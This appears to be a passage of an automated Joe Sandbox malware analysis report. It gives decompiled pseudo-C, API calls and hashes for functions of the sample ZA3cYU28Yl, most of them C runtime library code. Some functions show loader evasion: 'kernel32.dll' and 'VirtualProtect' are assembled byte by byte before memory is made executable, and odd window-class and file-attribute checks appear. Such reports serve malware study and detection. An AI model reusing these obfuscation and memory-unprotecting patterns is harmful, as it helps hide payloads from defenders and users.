0x004268e4
0x004268eb
0x004268fd
0x0042690b
0x00426911
0x00426918
0x0042691f
0x00426929
0x004268bf
0x004268bf
0x00426935
0x00426b33
0x00426b33
0x00426b45
0x00426b5b
0x00426b64
0x00426b75
0x00426b7d
0x00426b93
0x00426b98
0x00426b7f
0x00426b7f
0x00426b7f
0x00426bab
0x00426bb2
0x00426c49
0x00426c56
0x00426c5c
0x00000000
0x00426bc2
0x00426bcc
0x00426bd3
0x00000000
0x00426bd5
0x00426bdb
0x00426be9
0x00426c09
0x00426c18
0x00426c18
0x00426beb
0x00426bf8
0x00426bf8
0x00426c27
0x00426c2c
0x00426c31
0x00426c44
0x00426c62
0x00000000
0x00426c33
0x00426c33
0x00426c33
0x00426c31
0x00426bd3
0x00426c64
0x00426c73
0x00426c76
0x00426b42
0x00000000
0x00426b42
0x00000000
0x00426b64
0x00426c82
0x00426c88
0x00426945
0x0042694a
0x00426953
0x0042695c
0x00426966
0x00426973
0x00426968
0x0042696b
0x0042696b
0x00426983
0x00426986
0x00426998
0x004269b7
0x004269bc
0x004269bf
0x004269c6
0x004269db
0x004269ea
0x004269fa
0x00426a11
0x00426a18
0x00426a21
0x00426a28
0x00426a3a
0x00426a40
0x00426a47
0x00426a4e
0x00426a58
0x004269f7
0x004269f7
0x00426995
0x00000000
0x004269c8
0x004269cd
0x004269cd
0x00000000
0x004269c6
0x00426a63
0x00426a87
0x00426a99
0x00426b2e
0x00426a72
0x00426a7b
0x00426a84
0x00000000
0x00426ad1
0x00426ae7
0x00426af2
0x00426afc
0x00426b0b
0x00426b10
0x00426b15
0x00426b2b
0x00000000
0x00426b17
0x00426b17
0x00426b17
0x00426b15
0x00000000
0x00426a99
0x00000000
0x00426a87
0x0042689c
0x0042689c
0x0042689c
0x00426c8a
0x00426c8d
0x00426c9b

APIs

GetStartupInfoA.KERNEL32(?), ref: 00426840
GetFileType.KERNEL32(?), ref: 00426AC7

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\ioinit.c, xrefs: 00426880, 004269AC

Memory Dump Source

Source File: 00000001.00000002.282871844.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.282862446.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.282935357.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282945954.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282950841.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ZA3cYU28Yl.jbxd

Similarity

API ID: FileInfoStartupType
String ID: f:\dd\vctools\crt_bld\self_x86\crt\src\ioinit.c
API String ID: 3016745765-4097262939
Opcode ID: b6bc28f26a14ba9bca76b6db97c251128b532e3395be5231ecc1faebe70d5fb4
Instruction ID: def676d03a523842ec81840014fbe05e9a45950eb8079d2d0cb773231e0047b9
Opcode Fuzzy Hash: b6bc28f26a14ba9bca76b6db97c251128b532e3395be5231ecc1faebe70d5fb4
Instruction Fuzzy Hash: EBE14A74E04258CFDB24CFA8D890A9DFBB1FB49304F65825ED465AB392C734A842CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00570420, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 00570533

Strings

saodkfnosa9uin, xrefs: 005704DA
mfoaskdfnoa, xrefs: 00570520, 00570523
0, xrefs: 00570492
d, xrefs: 00570584

Memory Dump Source

Source File: 00000001.00000002.282966765.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_570000_ZA3cYU28Yl.jbxd

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: afcc24ee26740f915b68ef4632c6671afe8dec894add327fb0abb1c8be4792a8
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: B2510970D08388DAEB11CB98D849BDDBFF26F11708F144058D5486F2C6C3BA5658CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 0041B9FE, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 42%

			E0041B9FE(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				intOrPtr _t25;
				intOrPtr _t28;
				intOrPtr _t29;
				void* _t34;
				void* _t35;
				void* _t36;
				intOrPtr _t38;
				void* _t46;
				void* _t47;
				void* _t48;
				void* _t50;

				_t47 = __esi;
				_t46 = __edi;
				_t36 = __ecx;
				_t35 = __ebx;
				asm("sbb eax, eax");
				_t25 = 0xffffffe0 /  *(_t48 + 8) + 1;
				 *((intOrPtr*)(_t48 - 8)) = _t25;
				if(_t25 == 0) {
					_push(L"(_HEAP_MAXREQ / nNum) >= nSize");
					_push(0);
					_push(0x248);
					_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgheap.c");
					_push(2);
					_t34 = L0041E000();
					_t50 = _t50 + 0x14;
					if(_t34 == 1) {
						asm("int3");
					}
				}
				if( *((intOrPtr*)(_t48 - 8)) != 0) {
					 *(_t48 + 0xc) =  *(_t48 + 0xc) *  *(_t48 + 8);
					_t38 =  *0x54adb0; // 0x0
					_t28 = L0041B5D0(_t38,  *(_t48 + 0xc), _t38,  *((intOrPtr*)(_t48 + 0x10)),  *((intOrPtr*)(_t48 + 0x14)),  *((intOrPtr*)(_t48 + 0x18)),  *((intOrPtr*)(_t48 + 0x1c))); // executed
					 *((intOrPtr*)(_t48 - 4)) = _t28;
					if( *((intOrPtr*)(_t48 - 4)) != 0) {
						E0041B190(_t46,  *((intOrPtr*)(_t48 - 4)), 0,  *(_t48 + 0xc));
					}
					_t29 =  *((intOrPtr*)(_t48 - 4));
				} else {
					 *((intOrPtr*)(L00422AF0(_t36))) = 0xc;
					E00422880(_t35, _t36, _t46, _t47, L"(_HEAP_MAXREQ / nNum) >= nSize", L"_calloc_dbg_impl", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgheap.c", 0x248, 0);
					_t29 = 0;
				}
				return _t29;
			}

0x0041b9fe
0x0041b9fe
0x0041b9fe
0x0041b9fe
0x0041ba0b
0x0041ba0d
0x0041ba10
0x0041ba13
0x0041ba15
0x0041ba1a
0x0041ba1c
0x0041ba21
0x0041ba26
0x0041ba28
0x0041ba2d
0x0041ba33
0x0041ba35
0x0041ba35
0x0041ba33
0x0041ba3a
0x0041ba70
0x0041ba83
0x0041ba8e
0x0041ba96
0x0041ba9d
0x0041baa9
0x0041baae
0x0041bab1
0x0041ba3c
0x0041ba41
0x0041ba5d
0x0041ba65
0x0041ba65
0x0041bab7

APIs

__invalid_parameter.LIBCMTD ref: 0041BA5D
_memset.LIBCMT ref: 0041BAA9

Strings

_calloc_dbg_impl, xrefs: 0041BA53
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041BA21, 0041BA4E
(_HEAP_MAXREQ / nNum) >= nSize, xrefs: 0041BA15, 0041BA58

Memory Dump Source

Source File: 00000001.00000002.282871844.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.282862446.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.282935357.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282945954.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282950841.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ZA3cYU28Yl.jbxd

Similarity

API ID: __invalid_parameter_memset
String ID: (_HEAP_MAXREQ / nNum) >= nSize$_calloc_dbg_impl$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 3961059608-1805389939
Opcode ID: 01c19a8fb9e69b67a2c6aa37af74e2a43ab5b9bdffcb180cddb2f0b8b2b466fd
Instruction ID: c0713627a84470fbe1e695d1ba315dd2d1db2ef43c1bc1ca8128dcbf7aeca603
Opcode Fuzzy Hash: 01c19a8fb9e69b67a2c6aa37af74e2a43ab5b9bdffcb180cddb2f0b8b2b466fd
Instruction Fuzzy Hash: D811B6B1A40208BBDB10DF98CD86FDE3764EF58744F10815AF908AB2C1D7B8DA408799

Uniqueness

Uniqueness Score: -1.00%

Function 00419809, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39
librarymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 67%

			E00419809(intOrPtr* __edx) {
				struct HINSTANCE__* _t1;
				int _t3;
				void* _t5;

				_push("VirtualProtect");
				"VirtualProtect" = 0x6b;
				"irtualProtect" = 0x65;
				"rtualProtect" = 0x72;
				"rotect" = 0x2e;
				 *0x441771 = 0x64;
				 *0x441772 = 0x6c;
				 *0x441774 = 0;
				M0044176B = 0x6e;
				M0044176C = 0x65;
				M0044176D = 0x6c;
				M0044176E = 0x33;
				M0044176F = 0x32;
				_pop(ss);
				 *__edx =  *__edx + __edx;
				 *0x441773 = 0x65; // executed
				_t1 = LoadLibraryA(??); // executed
				 *0x5447ec = _t1;
				 *0x441776 = 0;
				M0044176F = 0x50;
				M0044176D = 0x61;
				 *0x441771 = 0x6f;
				 *0x441775 = 0x74;
				M0044176C = 0x75;
				M0044176E = 0x6c;
				 *0x441774 = 0x63;
				M0044176B = 0x74;
				 *0x441772 = 0x74;
				"rtualProtect" = 0x72;
				"VirtualProtect" = 0x56;
				"rotect" = 0x72;
				"irtualProtect" = 0x69; // executed
				_t3 = VirtualProtect( *0x443950,  *0x54abf4, 0x40, _t5 + 1); // executed
				return _t3;
			}

0x0041980a
0x0041980f
0x00419816
0x0041981d
0x00419824
0x0041982b
0x00419832
0x00419839
0x00419840
0x00419847
0x0041984e
0x00419855
0x0041985c
0x0041985f
0x00419861
0x00419863
0x0041986a
0x00419870
0x00419881
0x0041988e
0x00419895
0x0041989c
0x004198a3
0x004198aa
0x004198b1
0x004198b8
0x004198bf
0x004198c6
0x004198cd
0x004198d4
0x004198db
0x004198e2
0x004198e9
0x004198f0

APIs

LoadLibraryA.KERNELBASE(VirtualProtect), ref: 0041986A
VirtualProtect.KERNELBASE(00000040,00000000), ref: 004198E9

Strings

VirtualProtect, xrefs: 0041980A

Memory Dump Source

Source File: 00000001.00000002.282871844.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.282862446.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.282935357.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282945954.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282950841.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ZA3cYU28Yl.jbxd

Similarity

API ID: LibraryLoadProtectVirtual
String ID: VirtualProtect
API String ID: 3279857687-268857135
Opcode ID: 6fe4be1b29b2fff6b157878c0b56705c4bb63ddac9543f36666507c4732849c4
Instruction ID: a44d3fd7188d438d037021823585f88e8d970895fa3d624442d68c6aa49d3ab3
Opcode Fuzzy Hash: 6fe4be1b29b2fff6b157878c0b56705c4bb63ddac9543f36666507c4732849c4
Instruction Fuzzy Hash: 69211B2C54C7C0D9E302E738EE087453E969323769F1841A991D55A2B2C7FF21A8CB3E

Uniqueness

Uniqueness Score: -1.00%

Function 005705B0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 005705EC

Strings

apfHQ, xrefs: 005705E2, 005705E5
o, xrefs: 00570600

Memory Dump Source

Source File: 00000001.00000002.282966765.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_570000_ZA3cYU28Yl.jbxd

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: 5d20a7744bc3e6423822e5bde09c9cc381b2fc476a90569757841db8b835092e
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: 23011E70C0424CEADF10DB98D5587AEBFF5AF41308F148099C4092B282D7769B59DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0041B5EF, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0041B5EF(intOrPtr __eax, void* __ecx) {
				intOrPtr _t20;
				void* _t27;

				L0:
				while(1) {
					L0:
					 *((intOrPtr*)(_t27 - 4)) = __eax;
					if( *((intOrPtr*)(_t27 - 4)) != 0) {
						break;
					}
					L3:
					if( *((intOrPtr*)(_t27 + 0xc)) != 0) {
						L5:
						if(E00429130(__ecx,  *((intOrPtr*)(_t27 + 8))) != 0) {
							L7:
							L1:
							L0041B640( *((intOrPtr*)(_t27 + 8)),  *((intOrPtr*)(_t27 + 0x10)),  *((intOrPtr*)(_t27 + 0x14)),  *((intOrPtr*)(_t27 + 0x18)),  *((intOrPtr*)(_t27 + 0x1c)));
							continue;
						} else {
							L6:
							 *((intOrPtr*)( *((intOrPtr*)(_t27 + 0x1c)))) = 0xc;
							_t20 = 0;
						}
					} else {
						L4:
						 *((intOrPtr*)( *((intOrPtr*)(_t27 + 0x1c)))) = 0xc;
						_t20 =  *((intOrPtr*)(_t27 - 4));
					}
					L8:
					return _t20;
					L9:
				}
				L2:
				_t20 =  *((intOrPtr*)(_t27 - 4));
				goto L8;
			}

0x0041b5ef
0x0041b5ef
0x0041b5ef
0x0041b5f2
0x0041b5f9
0x00000000
0x00000000
0x0041b600
0x0041b604
0x0041b614
0x0041b622
0x0041b631
0x0041b5d6
0x0041b5ea
0x00000000
0x0041b624
0x0041b624
0x0041b627
0x0041b62d
0x0041b62d
0x0041b606
0x0041b606
0x0041b609
0x0041b60f
0x0041b60f
0x0041b633
0x0041b636
0x00000000
0x0041b636
0x0041b5fb
0x0041b5fb
0x00000000

Strings

QQ, xrefs: 0041B5E9

Memory Dump Source

Source File: 00000001.00000002.282871844.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.282862446.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.282935357.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282945954.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282950841.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ZA3cYU28Yl.jbxd

Similarity

API ID:
String ID: QQ
API String ID: 0-3460843698
Opcode ID: 75285a33f3e3a8226227495b54544be31729fa98091c7b21b9d872baf7ad745d
Instruction ID: 812adecd10f9efb88d2bd715046a1983eedf49220027cbb105537df5b2aaee17
Opcode Fuzzy Hash: 75285a33f3e3a8226227495b54544be31729fa98091c7b21b9d872baf7ad745d
Instruction Fuzzy Hash: 4C011DB1A00209EBDB04CF55D984BEB73B4EB68304F10815AF80987350D738DE92DB96

Uniqueness

Uniqueness Score: -1.00%

Function 0041985F, Relevance: 3.0, APIs: 2, Instructions: 28
librarymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 69%

			E0041985F(intOrPtr* __edx) {
				struct HINSTANCE__* _t1;
				int _t3;
				void* _t6;

				_pop(ss);
				 *__edx =  *__edx + __edx;
				 *0x441773 = 0x65; // executed
				_t1 = LoadLibraryA(??); // executed
				 *0x5447ec = _t1;
				 *0x441776 = 0;
				M0044176F = 0x50;
				M0044176D = 0x61;
				 *0x441771 = 0x6f;
				 *0x441775 = 0x74;
				M0044176C = 0x75;
				M0044176E = 0x6c;
				 *0x441774 = 0x63;
				M0044176B = 0x74;
				 *0x441772 = 0x74;
				"rtualProtect" = 0x72;
				"VirtualProtect" = 0x56;
				"rotect" = 0x72;
				"irtualProtect" = 0x69; // executed
				_t3 = VirtualProtect( *0x443950,  *0x54abf4, 0x40, _t6 + 1); // executed
				return _t3;
			}

0x0041985f
0x00419861
0x00419863
0x0041986a
0x00419870
0x00419881
0x0041988e
0x00419895
0x0041989c
0x004198a3
0x004198aa
0x004198b1
0x004198b8
0x004198bf
0x004198c6
0x004198cd
0x004198d4
0x004198db
0x004198e2
0x004198e9
0x004198f0

APIs

LoadLibraryA.KERNELBASE(VirtualProtect), ref: 0041986A
VirtualProtect.KERNELBASE(00000040,00000000), ref: 004198E9

Memory Dump Source

Source File: 00000001.00000002.282871844.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.282862446.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.282935357.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282945954.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282950841.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ZA3cYU28Yl.jbxd

Similarity

API ID: LibraryLoadProtectVirtual
String ID:
API String ID: 3279857687-0
Opcode ID: bd4329cd2658ec523e57c56e8e59f25343379e45eb2a56a684a67b9df5abf011
Instruction ID: 46ff8a631e59bb478556cfaaa0542c845c6034905532f1148b192b7c6e3db230
Opcode Fuzzy Hash: bd4329cd2658ec523e57c56e8e59f25343379e45eb2a56a684a67b9df5abf011
Instruction Fuzzy Hash: 23018C2C44C3C0DDE302E778AE087413F96D727759F0841A8D1A55A2B2C7BA21A8CB2E

Uniqueness

Uniqueness Score: -1.00%

Function 00424320, Relevance: 1.5, APIs: 1, Instructions: 8
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00424320() {
				void* _t1;

				_t1 = E00424250(0); // executed
				return _t1;
			}

0x00424327
0x00424330

APIs

__encode_pointer.LIBCMTD ref: 00424327

Part of subcall function 00424250: TlsGetValue.KERNEL32(00000004), ref: 00424265
Part of subcall function 00424250: TlsGetValue.KERNEL32(00000004,00000005), ref: 00424286
Part of subcall function 00424250: __crt_wait_module_handle.LIBCMTD ref: 0042429C
Part of subcall function 00424250: GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 004242B6
Part of subcall function 00424250: RtlEncodePointer.NTDLL(?), ref: 004242D7

Memory Dump Source

Source File: 00000001.00000002.282871844.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.282862446.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.282935357.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282945954.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282950841.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ZA3cYU28Yl.jbxd

Similarity

API ID: Value$AddressEncodePointerProc__crt_wait_module_handle__encode_pointer
String ID:
API String ID: 568403282-0
Opcode ID: f00befe9f6ce37f0a9e0ee05923ac5330ac6df44ba7645856ef0dc2498812e42
Instruction ID: d9066596c759f334a60561439fbfc2d28f5c201e430b60510f0147ced249313f
Opcode Fuzzy Hash: f00befe9f6ce37f0a9e0ee05923ac5330ac6df44ba7645856ef0dc2498812e42
Instruction Fuzzy Hash: C2A0126254420823D10021833C03B02350C83C07B8E490061F51C051422842A41040A7

Uniqueness

Uniqueness Score: -1.00%

Function 0041B290, Relevance: 1.5, APIs: 1, Instructions: 5
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			_entry_() {
				void* _t2;
				void* _t3;
				void* _t4;
				void* _t5;

				E00428330(); // executed
				_t2 = L0041B2B0(_t3, _t4, _t5); // executed
				return _t2;
			}

0x0041b295
0x0041b29a
0x00000000

APIs

___security_init_cookie.LIBCMTD ref: 0041B295

Memory Dump Source

Source File: 00000001.00000002.282871844.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.282862446.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.282935357.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282945954.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282950841.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ZA3cYU28Yl.jbxd

Similarity

API ID: ___security_init_cookie
String ID:
API String ID: 3657697845-0
Opcode ID: 82cb0ec5c1a98f673954076b00431c8ff9bcc0c7e92cffaa9b49de3c4d628194
Instruction ID: 5ea9ff706a4ddd7a91a4e07c1e888c84aeac583a5ccd3f44f572556457e47814
Opcode Fuzzy Hash: 82cb0ec5c1a98f673954076b00431c8ff9bcc0c7e92cffaa9b49de3c4d628194
Instruction Fuzzy Hash: BDA0023151565C66015173A7151B94FB54D88C4B587D5005E7958021035D7DA84541EE

Uniqueness

Uniqueness Score: -1.00%

Function 004198F1, Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNELBASE(00000000), ref: 004198F9

Memory Dump Source

Source File: 00000001.00000002.282871844.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.282862446.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.282935357.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282945954.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282950841.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ZA3cYU28Yl.jbxd

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: c5652da4b9a0751b24a4bb7e442be5ed37a4c831d8d269b5dfcf17dbb6553f87
Instruction ID: 019fb2e64a9b276ebf310d41e95adf70c6358cc02637eb6adb2296fd202f371f
Opcode Fuzzy Hash: c5652da4b9a0751b24a4bb7e442be5ed37a4c831d8d269b5dfcf17dbb6553f87
Instruction Fuzzy Hash: 12B012B94413419BC7404F60AE047403F61F306703F000020F200D0674C7700080AB05

Uniqueness

Uniqueness Score: -1.00%

Function 004198F2, Relevance: 1.3, APIs: 1, Instructions: 5
memoryCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E004198F2(void* __eax) {
				void* _t3;

				_t3 = LocalAlloc(0, ??); // executed
				 *0x443950 = _t3;
				return _t3;
			}

0x004198f9
0x004198ff
0x00419904

APIs

LocalAlloc.KERNELBASE(00000000), ref: 004198F9

Memory Dump Source

Source File: 00000001.00000002.282871844.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.282862446.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.282935357.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282945954.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282950841.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ZA3cYU28Yl.jbxd

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 3571bb372733993f9b4c96057daa876bbc03d7ea11c7f877e755b551834daa39
Instruction ID: 21ac284789e0f913026888750c1f1c21f765b9dfa4357f74692eb68b3a7f463c
Opcode Fuzzy Hash: 3571bb372733993f9b4c96057daa876bbc03d7ea11c7f877e755b551834daa39
Instruction Fuzzy Hash: 5BB011B8082382AAC3808F20AA08B803EA0F302B0BF000030B200E0AA8CBB000808A0A

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0042C962, Relevance: 107.3, APIs: 39, Strings: 22, Instructions: 501
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E0042C962() {
				struct _OVERLAPPED* _t166;
				WCHAR* _t170;
				signed int _t181;
				long _t184;
				intOrPtr _t190;
				signed int _t195;
				void* _t200;
				void* _t203;
				void* _t207;
				struct _OVERLAPPED* _t215;
				struct _OVERLAPPED** _t216;
				intOrPtr _t233;
				void* _t243;
				void* _t244;
				void* _t245;
				signed int _t267;
				signed int _t269;
				void* _t303;
				void* _t304;
				void* _t305;
				void* _t306;
				signed int _t307;
				void* _t309;
				void* _t311;
				void* _t313;
				void* _t315;

				if(InterlockedIncrement(0x441060) <= 0) {
					if( *((intOrPtr*)(_t307 + 0x18)) != 0) {
						 *(_t307 - 0x7038) =  *(L00422AF0(_t245));
						 *(L00422AF0(_t245)) = 0;
						_t282 =  *((intOrPtr*)(_t307 + 0x1c));
						_t233 = E00438000(_t307 - 0x7030, 0x1000, 0xfeb,  *((intOrPtr*)(_t307 + 0x18)),  *((intOrPtr*)(_t307 + 0x1c)));
						_t309 = _t309 + 0x14;
						 *((intOrPtr*)(_t307 - 0x7034)) = _t233;
						if( *((intOrPtr*)(_t307 - 0x7034)) < 0) {
							E0041D6D0( *(L00422AF0(_t282)), 0x16, 0x22, L"(*_errno())", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x206, 0);
							_t309 = _t309 + 0x20;
						}
						 *(L00422AF0(_t282)) =  *(_t307 - 0x7038);
						if( *((intOrPtr*)(_t307 - 0x7034)) < 0) {
							E0041DC40(E0042D970(_t243, _t282, _t303, _t305, _t307 - 0x7030, 0x1000, L"_CrtDbgReport: String too long or IO Error"), _t236, L"wcscpy_s(szUserMessage, 4096, L\"_CrtDbgReport: String too long or IO Error\")", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x209, 0);
							_t309 = _t309 + 0x24;
						}
					}
					if( *(_t307 + 8) == 2) {
						if( *((intOrPtr*)(_t307 + 0x18)) == 0) {
							 *((intOrPtr*)(_t307 - 0x8070)) = L"Assertion failed!";
						} else {
							 *((intOrPtr*)(_t307 - 0x8070)) = L"Assertion failed: ";
						}
						E0041DC40(E0042D970(_t243,  *((intOrPtr*)(_t307 - 0x8070)), _t303, _t305, _t307 - 0x5030, 0x1000,  *((intOrPtr*)(_t307 - 0x8070))), _t227, L"wcscpy_s(szLineMessage, 4096, szFormat ? L\"Assertion failed: \" : L\"Assertion failed!\")", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x20e, 0);
						_t309 = _t309 + 0x24;
					}
					_t246 = _t307 - 0x5030;
					E0041DC40(E00437630(_t243, _t307 - 0x5030, _t303, _t305, _t307 - 0x5030, 0x1000, _t307 - 0x7030), _t159, L"wcscat_s(szLineMessage, 4096, szUserMessage)", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x210, 0);
					_t311 = _t309 + 0x24;
					if( *(_t307 + 8) == 2) {
						if(( *(0x441064 +  *(_t307 + 8) * 4) & 0x00000001) != 0) {
							_t246 = _t307 - 0x5030;
							E0041DC40(E00437630(_t243, _t307 - 0x5030, _t303, _t305, _t307 - 0x5030, 0x1000, "\r"), _t225, L"wcscat_s(szLineMessage, 4096, L\"\\r\")", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x215, 0);
							_t311 = _t311 + 0x24;
						}
						E0041DC40(E00437630(_t243, _t246, _t303, _t305, _t307 - 0x5030, 0x1000, "\n"), _t223, L"wcscat_s(szLineMessage, 4096, L\"\\n\")", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x217, 0);
						_t311 = _t311 + 0x24;
					}
					if( *(_t307 + 0xc) == 0) {
						E0041DC40(E0042D970(_t243, _t307 - 0x3028, _t303, _t305, _t307 - 0x3028, 0x1000, _t307 - 0x5030), _t162, L"wcscpy_s(szOutMessage, 4096, szLineMessage)", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x225, 0);
						_t313 = _t311 + 0x24;
					} else {
						 *(_t307 - 0x703c) = 0;
						 *(_t307 - 0x7040) =  *(L00422AF0(_t246));
						 *(L00422AF0(_t246)) = 0;
						_push(_t307 - 0x5030);
						_push( *(_t307 + 0x10));
						_t279 = _t307 - 0x3028;
						_t215 = E0042D780(_t307 - 0x3028, _t307 - 0x3028, 0x1000, 0x1000, L"%s(%d) : %s",  *(_t307 + 0xc));
						_t313 = _t311 + 0x1c;
						 *(_t307 - 0x703c) = _t215;
						if( *(_t307 - 0x703c) < 0) {
							E0041D6D0( *((intOrPtr*)(L00422AF0(_t279))), 0x16, 0x22, L"(*_errno())", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x21f, 0);
							_t313 = _t313 + 0x20;
						}
						_t216 = L00422AF0(_t279);
